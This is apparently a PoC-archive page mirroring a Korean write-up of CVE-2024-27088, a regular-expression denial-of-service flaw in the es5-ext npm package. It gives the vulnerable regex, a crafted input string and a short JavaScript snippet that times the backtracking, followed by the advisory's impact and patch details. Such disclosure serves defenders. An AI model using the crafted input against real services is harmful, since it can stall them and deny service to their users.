目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-27088 PoC — es5-ext 安全漏洞

来源
关联漏洞
标题: es5-ext 安全漏洞 (CVE-2024-27088)
Description:es5-ext是Mariusz Nowak个人开发者的一个 ECMAScript 扩展。 es5-ext v0.10.63之前版本存在安全漏洞,该漏洞源于使用具有很长名称或复杂默认参数名称的函数可能会导致脚本停止。
Description
redos
介绍
# CVE-2024-27088



## 취약점 개요

- CVE-2024-27088

- Feb 26, 2024

- ReDoS in node.js package

- rebob 프로젝트의 일환

## 취약점 설명

[github advisories](https://github.com/medikoo/es5-ext/security/advisories/GHSA-4gmj-3p3h-gm8h)

```
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
```

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

`'function{' + 'n'.repeat(31) + '){'`

Here is a simple PoC code to demonstrate the issue:

```
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;

const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");
```




**Impact**

Passing functions with very long names or complex default argument names into function#copy orfunction#toStringTokens may put script to stall

**Patches**
Fixed with 3551cdd and a52e957
Published with v0.10.63

**Workarounds**
No real workaround aside of refraining from using above utilities.

[issue](https://github.com/medikoo/es5-ext/issues/201)
[target package](https://www.npmjs.com/package/es5-ext)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →